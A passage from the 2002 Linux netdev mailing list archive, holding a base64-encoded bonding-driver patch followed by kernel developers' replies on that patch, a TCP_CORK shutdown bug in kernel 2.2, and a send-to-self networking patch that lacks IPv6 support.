cnMvbmV0L2JvbmRpbmcuYwotLS0gbGludXgtMi40LjIwLXByZTctdmlyZ2lu L2RyaXZlcnMvbmV0L2JvbmRpbmcuYwlXZWQgU2VwIDE4IDE2OjU1OjIzIDIw MDIKKysrIGxpbnV4LTIuNC4yMC1wcmU3LWJvbmQtMDkxOC9kcml2ZXJzL25l dC9ib25kaW5nLmMJV2VkIFNlcCAxOCAxNjo1NTozNCAyMDAyCkBAIC0xODYs NiArMTg2LDExIEBACiAgKiAgICAgICBhbHNvIGFkZGVkIHRleHQgdG8gZGlz dGluZ3Vpc2ggdHlwZSBvZiBsb2FkIGJhbGFuY2luZyAocnIgb3IgeG9yKQog ICogICAgIC0gY2hhbmdlIGFycF9pcF90YXJnZXQgbW9kdWxlIHBhcmFtIGZy b20gIjEtMTJzIiAoYXJyYXkgb2YgMTIgcHRycykKICAqICAgICAgIHRvICJz IiAoYSBzaW5nbGUgcHRyKQorICoKKyAqIDIwMDIvMDkvMTggLSBKYXkgVm9z YnVyZ2ggPGZ1YmFyIGF0IHVzIGRvdCBpYm0gZG90IGNvbT4KKyAqICAgICAt IEZpeGVkIHVwIGJvbmRfY2hlY2tfZGV2X2xpbmsoKSAoYW5kIGNhbGxlcnMp OiByZW1vdmVkIHNvbWUgbWFnaWMKKyAqCSBudW1iZXJzLCBiYW5pc2hlZCBs b2NhbCBNSUlfIGRlZmluZXMsIHdyYXBwZWQgaW9jdGwgY2FsbHMgdG8KKyAq CSBwcmV2ZW50IEVGQVVMVCBlcnJvcnMKICAqLwogCiAjaW5jbHVkZSA8bGlu dXgvY29uZmlnLmg+CkBAIC0yMjksMTUgKzIzNCw2IEBACiAjZGVmaW5lIEJP TkRfTElOS19NT05fSU5URVJWCTAKICNlbmRpZgogCi0jdW5kZWYgIE1JSV9M SU5LX1VQCi0jZGVmaW5lIE1JSV9MSU5LX1VQCTB4MDQKLQotI3VuZGVmICBN SUlfRU5ET0ZfTldBWQotI2RlZmluZSBNSUlfRU5ET0ZfTldBWQkweDIwCi0K LSN1bmRlZiAgTUlJX0xJTktfUkVBRFkKLSNkZWZpbmUgTUlJX0xJTktfUkVB RFkJKE1JSV9MSU5LX1VQKQotCiAjaWZuZGVmIEJPTkRfTElOS19BUlBfSU5U RVJWCiAjZGVmaW5lIEJPTkRfTElOS19BUlBfSU5URVJWCTAKICNlbmRpZgpA QCAtMzg3LDEzICszODMsMjUgQEAKIAlyZXR1cm4gc2xhdmU7CiB9CiAKKy8q CisgKiBMZXNzIGJhZCB3YXkgdG8gY2FsbCBpb2N0bCBmcm9tIHdpdGhpbiB0 aGUga2VybmVsOyB0aGlzIG5lZWRzIHRvIGJlCisgKiBkb25lIHNvbWUgb3Ro ZXIgd2F5IHRvIGdldCB0aGUgY2FsbCBvdXQgb2YgaW50ZXJydXB0IGNvbnRl eHQuCisgKiBOZWVkcyAiaW9jdGwiIHZhcmlhYmxlIHRvIGJlIHN1cHBsaWVk IGJ5IGNhbGxpbmcgY29udGV4dC4KKyAqLworI2RlZmluZSBJT0NUTChkZXYs IGFyZywgY21kKSAoewkJXAorCWludCByZXQ7CQkJXAorCW1tX3NlZ21lbnRf dCBmcyA9IGdldF9mcygpOwlcCisJc2V0X2ZzKGdldF9kcygpKTsJCVwKKwly ZXQgPSBpb2N0bChkZXYsIGFyZywgY21kKTsJXAorCXNldF9mcyhmcyk7CQkJ XAorCXJldDsgfSkKKwogLyogCi0gKiBpZiA8ZGV2PiBzdXBwb3J0cyBNSUkg bGluayBzdGF0dXMgcmVwb3J0aW5nLCBjaGVjayBpdHMgbGluawotICogYW5k IHJlcG9ydCBpdCBhcyBhIGJpdCBmaWVsZCBpbiBhIHNob3J0IGludCA6Ci0g KiAgIC0gMHgwNCBtZWFucyBsaW5rIGlzIHVwLAotICogICAtIDB4MjAgbWVh bnMgZW5kIG9mIGF1dG9uZWdvY2lhdGlvbgotICogSWYgdGhlIGRldmljZSBk b2Vzbid0IHN1cHBvcnQgTUlJLCB0aGVuIHdlIG9ubHkgcmVwb3J0IDB4MjQs Ci0gKiBtZWFuaW5nIHRoYXQgdGhlIGxpbmsgaXMgdXAgYW5kIHJ1bm5pbmcg c2luY2Ugd2UgY2FuJ3QgY2hlY2sgaXQuCisgKiBpZiA8ZGV2PiBzdXBwb3J0 cyBNSUkgbGluayBzdGF0dXMgcmVwb3J0aW5nLCBjaGVjayBpdHMgbGluayBz dGF0dXMuCisgKgorICogUmV0dXJuIGVpdGhlciBCTVNSX0xTVEFUVVMsIG1l YW5pbmcgdGhhdCB0aGUgbGluayBpcyB1cCAob3Igd2UKKyAqIGNhbid0IHRl bGwgYW5kIGp1c3QgcHJldGVuZCBpdCBpcyksIG9yIDAsIG1lYW5pbmcgdGhh dCB0aGUgbGluayBpcworICogZG93bi4KICAqLwogc3RhdGljIHUxNiBib25k X2NoZWNrX2Rldl9saW5rKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpCiB7CkBA IC00MDIsNyArNDEwLDggQEAKIAlzdHJ1Y3QgbWlpX2lvY3RsX2RhdGEgKm1p aTsKIAlzdHJ1Y3QgZXRodG9vbF92YWx1ZSBldG9vbDsKIAotCWlmICgoaW9j dGwgPSBkZXYtPmRvX2lvY3RsKSAhPSBOVUxMKSAgeyAvKiBpb2N0bCB0byBh Y2Nlc3MgTUlJICovCisJaW9jdGwgPSBkZXYtPmRvX2lvY3RsOworCWlmIChp b2N0bCkgewogCQkvKiBUT0RPOiBzZXQgcG9pbnRlciB0byBjb3JyZWN0IGlv Y3RsIG9uIGEgcGVyIHRlYW0gbWVtYmVyICovCiAJCS8qICAgICAgIGJhc2Vz IHRvIG1ha2UgdGhpcyBtb3JlIGVmZmljaWVudC4gdGhhdCBpcywgb25jZSAg Ki8KIAkJLyogICAgICAgd2UgZGV0ZXJtaW5lIHRoZSBjb3JyZWN0IGlvY3Rs LCB3ZSB3aWxsIGFsd2F5cyAgICAqLwpAQCAtNDE2LDkgKzQyNSw5IEBACiAJ CS8qIGVmZmVjdC4uLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgKi8KIAkgICAgICAgIGV0b29sLmNtZCA9IEVUSFRP T0xfR0xJTks7CiAJICAgICAgICBpZnIuaWZyX2RhdGEgPSAoY2hhciopJmV0 b29sOwotCQlpZiAoaW9jdGwoZGV2LCAmaWZyLCBTSU9DRVRIVE9PTCkgPT0g MCkgeworCQlpZiAoSU9DVEwoZGV2LCAmaWZyLCBTSU9DRVRIVE9PTCkgPT0g MCkgewogCQkJaWYgKGV0b29sLmRhdGEgPT0gMSkgewotCQkJCXJldHVybihN SUlfTElOS19SRUFEWSk7CisJCQkJcmV0dXJuIEJNU1JfTFNUQVRVUzsKIAkJ CX0gCiAJCQllbHNlIHsgCiAJCQkJcmV0dXJuKDApOwpAQCAtNDMyLDIxICs0 NDEsMTcgQEAKIAogCQkvKiBZZXMsIHRoZSBtaWkgaXMgb3ZlcmxhaWQgb24g dGhlIGlmcmVxLmlmcl9pZnJ1ICovCiAJCW1paSA9IChzdHJ1Y3QgbWlpX2lv Y3RsX2RhdGEgKikmaWZyLmlmcl9kYXRhOwotCQlpZiAoaW9jdGwoZGV2LCAm aWZyLCBTSU9DR01JSVBIWSkgIT0gMCkgewotCQkJcmV0dXJuIE1JSV9MSU5L X1JFQURZOwkgLyogY2FuJ3QgdGVsbCAqLworCQlpZiAoSU9DVEwoZGV2LCAm aWZyLCBTSU9DR01JSVBIWSkgIT0gMCkgeworCQkJcmV0dXJuIEJNU1JfTFNU QVRVUzsJIC8qIGNhbid0IHRlbGwgKi8KIAkJfQogCi0JCW1paS0+cmVnX251 bSA9IDE7Ci0JCWlmIChpb2N0bChkZXYsICZpZnIsIFNJT0NHTUlJUkVHKSA9 PSAwKSB7Ci0JCQkvKgotCQkJICogbWlpLT52YWxfb3V0IGNvbnRhaW5zIE1J SSByZWcgMSwgQk1TUgotCQkJICogMHgwMDA0IG1lYW5zIGxpbmsgZXN0YWJs aXNoZWQKLQkJCSAqLwotCQkJcmV0dXJuIG1paS0+dmFsX291dDsKKwkJbWlp LT5yZWdfbnVtID0gTUlJX0JNU1I7CisJCWlmIChJT0NUTChkZXYsICZpZnIs IFNJT0NHTUlJUkVHKSA9PSAwKSB7CisJCQlyZXR1cm4gbWlpLT52YWxfb3V0 ICYgQk1TUl9MU1RBVFVTOwogCQl9CiAKIAl9Ci0JcmV0dXJuIE1JSV9MSU5L X1JFQURZOyAgLyogc3Bvb2YgbGluayB1cCAoIHdlIGNhbid0IGNoZWNrIGl0 KSAqLworCXJldHVybiBCTVNSX0xTVEFUVVM7ICAvKiBzcG9vZiBsaW5rIHVw ICggd2UgY2FuJ3QgY2hlY2sgaXQpICovCiB9CiAKIHN0YXRpYyB1MTYgYm9u ZF9jaGVja19taWlfbGluayhib25kaW5nX3QgKmJvbmQpCkBAIC00NjAsNyAr NDY1LDcgQEAKIAlyZWFkX3VubG9jaygmYm9uZC0+cHRybG9jayk7CiAJcmVh ZF91bmxvY2tfaXJxcmVzdG9yZSgmYm9uZC0+bG9jaywgZmxhZ3MpOwogCi0J cmV0dXJuIChoYXNfYWN0aXZlX2ludGVyZmFjZSA/IE1JSV9MSU5LX1JFQURZ IDogMCk7CisJcmV0dXJuIChoYXNfYWN0aXZlX2ludGVyZmFjZSA/IEJNU1Jf TFNUQVRVUyA6IDApOwogfQogCiBzdGF0aWMgaW50IGJvbmRfb3BlbihzdHJ1 Y3QgbmV0X2RldmljZSAqZGV2KQpAQCAtNzk4LDggKzgwMyw4IEBACiAJbmV3 X3NsYXZlLT5saW5rX2ZhaWx1cmVfY291bnQgPSAwOwogCiAJLyogY2hlY2sg Zm9yIGluaXRpYWwgc3RhdGUgKi8KLQlpZiAoKG1paW1vbiA8PSAwKSB8fCAo KGJvbmRfY2hlY2tfZGV2X2xpbmsoc2xhdmVfZGV2KSAmIE1JSV9MSU5LX1JF QURZKQotCQkgPT0gTUlJX0xJTktfUkVBRFkpKSB7CisJaWYgKChtaWltb24g PD0gMCkgfHwKKwkgICAgKGJvbmRfY2hlY2tfZGV2X2xpbmsoc2xhdmVfZGV2 KSA9PSBCTVNSX0xTVEFUVVMpKSB7CiAjaWZkZWYgQk9ORElOR19ERUJVRwog CQlwcmludGsoS0VSTl9DUklUICJJbml0aWFsIHN0YXRlIG9mIHNsYXZlX2Rl diBpcyBCT05EX0xJTktfVVBcbiIpOwogI2VuZGlmCkBAIC0xMjIxLDcgKzEy MjYsNyBAQAogCiAJCXN3aXRjaCAoc2xhdmUtPmxpbmspIHsKIAkJY2FzZSBC T05EX0xJTktfVVA6CS8qIHRoZSBsaW5rIHdhcyB1cCAqLwotCQkJaWYgKChs aW5rX3N0YXRlICYgTUlJX0xJTktfVVApID09IE1JSV9MSU5LX1VQKSB7CisJ CQlpZiAobGlua19zdGF0ZSA9PSBCTVNSX0xTVEFUVVMpIHsKIAkJCQkvKiBs aW5rIHN0YXlzIHVwLCB0ZWxsIHRoYXQgdGhpcyBvbmUKIAkJCQkgICBpcyBp bW1lZGlhdGVseSBhdmFpbGFibGUgKi8KIAkJCQlpZiAoSVNfVVAoZGV2KSAm JiAobWluZGVsYXkgPiAtMikpIHsKQEAgLTEyNTcsNyArMTI2Miw3IEBACiAJ CQkgICBlbnN1cmUgcHJvcGVyIGFjdGlvbiB0byBiZSB0YWtlbgogCQkJKi8K IAkJY2FzZSBCT05EX0xJTktfRkFJTDoJLyogdGhlIGxpbmsgaGFzIGp1c3Qg Z29uZSBkb3duICovCi0JCQlpZiAoKGxpbmtfc3RhdGUgJiBNSUlfTElOS19V UCkgPT0gMCkgeworCQkJaWYgKGxpbmtfc3RhdGUgIT0gQk1TUl9MU1RBVFVT KSB7CiAJCQkJLyogbGluayBzdGF5cyBkb3duICovCiAJCQkJaWYgKHNsYXZl LT5kZWxheSA8PSAwKSB7CiAJCQkJCS8qIGxpbmsgZG93biBmb3IgdG9vIGxv bmcgdGltZSAqLwpAQCAtMTI4Niw3ICsxMjkxLDcgQEAKIAkJCQl9IGVsc2Ug ewogCQkJCQlzbGF2ZS0+ZGVsYXktLTsKIAkJCQl9Ci0JCQl9IGVsc2UgaWYg KChsaW5rX3N0YXRlICYgTUlJX0xJTktfUkVBRFkpID09IE1JSV9MSU5LX1JF QURZKSB7CisJCQl9IGVsc2UgewogCQkJCS8qIGxpbmsgdXAgYWdhaW4gKi8K IAkJCQlzbGF2ZS0+bGluayAgPSBCT05EX0xJTktfVVA7CiAJCQkJcHJpbnRr KEtFUk5fSU5GTwpAQCAtMTMwNSw3ICsxMzEwLDcgQEAKIAkJCX0KIAkJCWJy ZWFrOwogCQljYXNlIEJPTkRfTElOS19ET1dOOgkvKiB0aGUgbGluayB3YXMg ZG93biAqLwotCQkJaWYgKChsaW5rX3N0YXRlICYgTUlJX0xJTktfUkVBRFkp ICE9IE1JSV9MSU5LX1JFQURZKSB7CisJCQlpZiAobGlua19zdGF0ZSAhPSBC TVNSX0xTVEFUVVMpIHsKIAkJCQkvKiB0aGUgbGluayBzdGF5cyBkb3duLCBu b3RoaW5nIG1vcmUgdG8gZG8gKi8KIAkJCQlicmVhazsKIAkJCX0gZWxzZSB7 CS8qIGxpbmsgZ29pbmcgdXAgKi8KQEAgLTEzMjcsNyArMTMzMiw3IEBACiAJ CQkgICBjYXNlIHRoZXJlJ3Mgc29tZXRoaW5nIHRvIGRvLgogCQkJKi8KIAkJ Y2FzZSBCT05EX0xJTktfQkFDSzoJLyogdGhlIGxpbmsgaGFzIGp1c3QgY29t ZSBiYWNrICovCi0JCQlpZiAoKGxpbmtfc3RhdGUgJiBNSUlfTElOS19VUCkg PT0gMCkgeworCQkJaWYgKGxpbmtfc3RhdGUgIT0gQk1TUl9MU1RBVFVTKSB7 CiAJCQkJLyogbGluayBkb3duIGFnYWluICovCiAJCQkJc2xhdmUtPmxpbmsg ID0gQk9ORF9MSU5LX0RPV047CiAJCQkJcHJpbnRrKEtFUk5fSU5GTwpAQCAt MTMzNiw4ICsxMzQxLDcgQEAKIAkJCQkJbWFzdGVyLT5uYW1lLAogCQkJCQko dXBkZWxheSAtIHNsYXZlLT5kZWxheSkgKiBtaWltb24sCiAJCQkJCWRldi0+ bmFtZSk7Ci0JCQl9Ci0JCQllbHNlIGlmICgobGlua19zdGF0ZSAmIE1JSV9M SU5LX1JFQURZKSA9PSBNSUlfTElOS19SRUFEWSkgeworCQkJfSBlbHNlIHsK IAkJCQkvKiBsaW5rIHN0YXlzIHVwICovCiAJCQkJaWYgKHNsYXZlLT5kZWxh eSA9PSAwKSB7CiAJCQkJCS8qIG5vdyB0aGUgbGluayBoYXMgYmVlbiB1cCBm b3IgbG9uZyB0aW1lIGVub3VnaCAqLwpAQCAtMjExMSw3ICsyMTE1LDcgQEAK IAogCQlsZW4gKz0gc3ByaW50ZihidWYgKyBsZW4sICJNSUkgU3RhdHVzOiAi KTsKIAkJbGVuICs9IHNwcmludGYoYnVmICsgbGVuLCAKLQkJCQlsaW5rID09 IE1JSV9MSU5LX1JFQURZID8gInVwXG4iIDogImRvd25cbiIpOworCQkJCWxp bmsgPT0gQk1TUl9MU1RBVFVTID8gInVwXG4iIDogImRvd25cbiIpOwogCQls ZW4gKz0gc3ByaW50ZihidWYgKyBsZW4sICJNSUkgUG9sbGluZyBJbnRlcnZh bCAobXMpOiAlZFxuIiwgCiAJCQkJbWlpbW9uKTsKIAkJbGVuICs9IHNwcmlu dGYoYnVmICsgbGVuLCAiVXAgRGVsYXkgKG1zKTogJWRcbiIsIHVwZGVsYXkp Owo= --0__=07BBE6AADF9215DD8f9e8a93df938690918c07BBE6AADF9215DD-- From jgarzik@mandrakesoft.com Wed Sep 18 17:43:57 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 17:44:02 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J0hutG021162 for ; Wed, 18 Sep 2002 17:43:56 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rpV5-0003CQ-00; Thu, 19 Sep 2002 01:48:59 +0100 Message-ID: <3D891ED8.3080803@mandrakesoft.com> Date: Wed, 18 Sep 2002 20:48:24 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jay Vosburgh CC: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: PATCH Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Jay Vosburgh wrote: > > Ok, here is a patch for bonding against 2.4.20-pre7. This gets rid > of the MII_whatever macros, wraps ioctl() to make it less bad, and replaces > a couple of magic numbers with friendly labels. > > Comments? The patch looks ok but doesn't address the core problem that the link state is checked in interrupt context. Jeff From fubar@us.ibm.com Wed Sep 18 17:51:11 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 17:51:14 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J0pAtG021541 for ; Wed, 18 Sep 2002 17:51:10 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.194.23]) by e34.co.us.ibm.com (8.12.2/8.12.2) with ESMTP id g8J0u1vv045842; Wed, 18 Sep 2002 20:56:01 -0400 Received: from d03nm035.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.3/NCO/VER6.4) with ESMTP id g8J0txcU044636; Wed, 18 Sep 2002 18:56:00 -0600 From: "Jay Vosburgh" Importance: Normal Sensitivity: Subject: Re: PATCH Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload To: Jeff Garzik Cc: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: Date: Wed, 18 Sep 2002 17:56:15 -0700 X-MIMETrack: Serialize by Router on D03NM035/03/M/IBM(Release 5.0.10 |March 22, 2002) at 09/18/2002 06:55:59 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-archive-position: 268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: fubar@us.ibm.com Precedence: bulk X-list: netdev No, it doesn't. This is a mere band aid until somebody can get time to do it right. It's "less bad." -J Jeff Garzik on 09/18/2002 05:48:24 PM To: Jay Vosburgh/Beaverton/IBM@IBMUS cc: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: PATCH Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload Jay Vosburgh wrote: > > Ok, here is a patch for bonding against 2.4.20-pre7. This gets rid > of the MII_whatever macros, wraps ioctl() to make it less bad, and replaces > a couple of magic numbers with friendly labels. > > Comments? The patch looks ok but doesn't address the core problem that the link state is checked in interrupt context. Jeff From jgarzik@mandrakesoft.com Wed Sep 18 17:59:18 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 17:59:23 -0700 (PDT) Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J0xHtG021929 for ; Wed, 18 Sep 2002 17:59:18 -0700 Received: from c-24-98-61-134.atl.client2.attbi.com ([24.98.61.134] helo=mandrakesoft.com) by www.linux.org.uk with esmtp (Exim 3.33 #5) id 17rpjx-0003YL-00; Thu, 19 Sep 2002 02:04:21 +0100 Message-ID: <3D892274.4070600@mandrakesoft.com> Date: Wed, 18 Sep 2002 21:03:48 -0400 From: Jeff Garzik Organization: MandrakeSoft User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jay Vosburgh CC: Andrew Morton , "Cureington, Tony" , Pascal Brisset , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: PATCH Re: [Bonding-devel] Re: Bonding driver unreliable under high CPUload References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@mandrakesoft.com Precedence: bulk X-list: netdev Jay Vosburgh wrote: > > No, it doesn't. This is a mere band aid until somebody can get time > to do it right. It's "less bad." Oh, well, in that case, patch approved :) I'll apply it, unless you prefer to send it through DaveM or somebody else. Jeff From kuznet@ms2.inr.ac.ru Wed Sep 18 18:11:22 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 18:11:24 -0700 (PDT) Received: from mops.inr.ac.ru ([212.44.140.121]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J1BCtG022394 for ; Wed, 18 Sep 2002 18:11:17 -0700 Received: (from kuznet@localhost) by mops.inr.ac.ru (8.6.13/ANK) id DAA00778; Thu, 19 Sep 2002 03:38:37 +0400 Message-Id: <200209182338.DAA00778@mops.inr.ac.ru> Subject: Re: FIN_WAIT1 / TCP_CORK / 2.2 -- reproducible bug and test case To: mbp@samba.org (Martin Pool) Date: Thu, 19 Sep 2002 03:38:37 +0400 (MSD) Cc: davem@redhat.com, ak@muc.de, netdev@oss.sgi.com, Alan.Cox@linux.org In-Reply-To: <20020918020927.GB2285@samba.org> from "Martin Pool" at Sep 18, 2 12:09:29 pm From: Alexey Kuznetsov X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 X-archive-position: 270 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kuznet@ms2.inr.ac.ru Precedence: bulk X-list: netdev Hello! > I can't reproduce it on 2.4.18 or .19. It looked to me like > tcp_snd_test() and related stuff had been substantially rewritten. No, tcp_snd_test() in 2.2 is backport and it is accurate. Apparently, the problem remained in another place, which was not backported. I think this is tcp_send_fin(). It is obscure and apparently incorrect at least on corked sockets. I would kill all the dubious "if" after /* Special case to avoid Nagle bogosity.... and replaced it with straight tcp_push_pending_frames() like it was made in 2.4. Please, try. Alexey BTW your tcpdump contains less than 25% of packets. And all the interesting piece is absent completely. :-) From davem@redhat.com Wed Sep 18 18:33:02 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 18:33:08 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J1X2tG026341 for ; Wed, 18 Sep 2002 18:33:02 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id SAA25167; Wed, 18 Sep 2002 18:28:55 -0700 Date: Wed, 18 Sep 2002 18:28:55 -0700 (PDT) Message-Id: <20020918.182855.47438220.davem@redhat.com> To: greearb@candelatech.com Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] From: "David S. Miller" In-Reply-To: <3D890A51.7000103@candelatech.com> References: <3D8826BE.5090007@candelatech.com> <20020918.155534.102954410.davem@redhat.com> <3D890A51.7000103@candelatech.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 271 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev From: Ben Greear Date: Wed, 18 Sep 2002 16:20:49 -0700 David S. Miller wrote: > I don't think I'll be applying this: > > 1) No tcp ipv6 bits I know squat about this, so am reluctant to hack code there. It's hash lookup code, nearly identical to ipv4 version except it's dealing with 128-bit IP addresses instead of 32-bit. You give up way too easily, which leads me to belive you'll disappear just as easily if complicated bugs stop popping up as a result of your changes. This is one of the most important issues I consider when I get a delicate patch to the networking for someone, how fast they throw their arms up in the air. For example, someone like Arnaldo, when he sends me a patch and the whole kernel explodes as a result I know he'll stick around for however long it takes to fix the problems and he won't go "ipv6 looks too complicated" when I ask him to submit a complete version of his changes. You patch should not be a maintainence burden to me. Your attitude tells me it is going to become one. See http://www.candelatech.com/sts2_hack.patch (32-bit only), it contains the missing bits, I'm not good at generating two patch sets (ie pktgen and send-to-self) when they touch the same file... Don't include stuff in the patch that doesn't belong there, this isn't so difficult. The #ifdefs were per request, I personally would like them not to be there either. As far as I can tell, the changes are backwards compatible, so there should be no need for ifdefs. I mean put the ifdefs in a header file such as tcp.h, not in the *.c code. Thanks for looking at them. I can fix the #ifdef cruft, but adding 64bit support or hacking ipv6 is beyond my means of testing at this point, so I cannot make those changes. I don't require you to test the ipv6 portions, I will be able to eyeball them and know if they are right or not, this is how simple the ipv6 version of the tcp bits will be. From greearb@candelatech.com Wed Sep 18 19:02:34 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 19:02:39 -0700 (PDT) Received: from grok.yi.org (IDENT:xQpMh6DUQspCOykBuM5FmPSp5zSJXO2q@dhcp101-dsl-usw4.w-link.net [208.161.125.101]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J22XtG027377 for ; Wed, 18 Sep 2002 19:02:33 -0700 Received: from candelatech.com (IDENT:IlimFjWNM/6HK0V1BPRp2k6QQxF7XZiA@localhost.localdomain [127.0.0.1]) by grok.yi.org (8.11.6/8.11.2) with ESMTP id g8J27Xv05373; Wed, 18 Sep 2002 19:07:34 -0700 Message-ID: <3D893165.10106@candelatech.com> Date: Wed, 18 Sep 2002 19:07:33 -0700 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1b) Gecko/20020722 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] References: <3D8826BE.5090007@candelatech.com> <20020918.155534.102954410.davem@redhat.com> <3D890A51.7000103@candelatech.com> <20020918.182855.47438220.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 272 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev David S. Miller wrote: > It's hash lookup code, nearly identical to ipv4 version except > it's dealing with 128-bit IP addresses instead of 32-bit. > > You give up way too easily, which leads me to belive you'll disappear > just as easily if complicated bugs stop popping up as a result of your > changes. I'll maintain this patch for myself if no one else, so I will not go away. But, since I am new to this code, and do not have a test setup to test the ipv6 changes, I was hesitant. I can at the least patch it how I think it should be and test that ipv4 still works and it compiles. If you or someone else can do more profound testing on it, then that would be great. > The #ifdefs were per request, I personally would like them not to be there > either. As far as I can tell, the changes are backwards compatible, so there > should be no need for ifdefs. > > I mean put the ifdefs in a header file such as tcp.h, not in the *.c > code. Would you object to me just removing all of them and having the patch unconditionally compiled in? > I don't require you to test the ipv6 portions, I will be able to > eyeball them and know if they are right or not, this is how simple > the ipv6 version of the tcp bits will be. Ok, I'll work up a patch with the ipv6 support and try to get that out sometime next week. Thanks, Ben > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > -- Ben Greear President of Candela Technologies Inc http://www.candelatech.com ScryMUD: http://scry.wanfear.com http://scry.wanfear.com/~greear From davem@redhat.com Wed Sep 18 19:05:23 2002 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Sep 2002 19:05:25 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g8J25NtG027749 for ; Wed, 18 Sep 2002 19:05:23 -0700 Received: from localhost (IDENT:davem@localhost.localdomain [127.0.0.1]) by pizda.ninka.net (8.9.3/8.9.3) with ESMTP id TAA25357; Wed, 18 Sep 2002 19:01:18 -0700 Date: Wed, 18 Sep 2002 19:01:17 -0700 (PDT) Message-Id: <20020918.190117.53168129.davem@redhat.com> To: greearb@candelatech.com Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH] Networking: send-to-self [link to non-broken patch this time] From: "David S. Miller" In-Reply-To: <3D893165.10106@candelatech.com> References: <3D890A51.7000103@candelatech.com> <20020918.182855.47438220.davem@redhat.com> <3D893165.10106@candelatech.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 273 